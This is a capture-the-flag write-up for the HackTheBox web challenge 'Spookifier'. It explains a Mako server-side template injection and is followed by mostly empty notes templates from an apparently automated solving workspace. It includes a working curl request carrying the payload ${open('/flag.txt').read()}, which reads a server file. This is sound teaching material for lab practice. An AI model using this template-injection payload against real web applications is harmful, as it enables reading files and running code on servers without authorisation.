Spookifier

Technical Walkthrough

Spookifier - Writeup

Challenge Info

• Name: Spookifier
• Category: Web
• Difficulty: Very Easy
• Flag: <flag stored in loot/flag.txt>

Approach

Triage

Flask web app that converts text into "spooky" fonts. Source code provided.

Analysis

The input flow is:

1. GET /?text=INPUT → routes.py
2. spookify(text) → change_font() converts to 4 font variants
3. generate_render() uses .format() to inject converted text into an HTML string
4. Template(result).render() renders that string as a Mako template

The critical insight: font4 maps all special characters to themselves, including $, {, }, (, ), ', /, . — meaning Mako expression syntax ${...} passes through untouched.

Solve

curl -s "http://TARGET:PORT/?text=%24%7Bopen(%27%2Fflag.txt%27).read()%7D" | grep -oP 'HTB\{[^}]+\}'

URL-decoded payload: ${open('/flag.txt').read()}

Key Insight

Mako SSTI via font substitution that preserves special characters. The font4 dictionary acts as an identity mapping for all ASCII printable characters, allowing template expressions to survive the "conversion" and execute as Python code during Template.render().

Time: ~2 minutes

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

• Challenge: Spookifier
• Category: Web
• Difficulty: Very Easy
• Target: http://<TARGET>:32662/
• Started: 2026-05-06

Evidence Ledger

Vulnerability

• Type: Server-Side Template Injection (SSTI) — Mako
• Sink: util.py:generate_render() → Template(result).render()
• Why it works: font4 maps all special characters ($, {, }, (, ), ', /, .) to themselves, preserving Mako expressions intact in the 4th table row

| 2026-05-27T23:35:18Z | backfill | challenge-state.json | Legacy workspace backfilled with deterministic state | High | Validate before further work |

Memory Summary

Metadata

• Platform: HackTheBox Challenges
• Category:
• Challenge:
• Difficulty:
• Source workspace:

Validated Solve Chain

Concepts only. Do not include raw flags, reusable credentials, tokens, cookies, private keys, or live secrets.

1.

Reusable Lessons

-

Dead Ends

-

Tool Quirks

-

Evidence Paths

-

Ingestion Decision

• Proposed for LightRAG: yes/no
• Requires user approval before ingestion: yes

Hypothesis Board

Closed Branches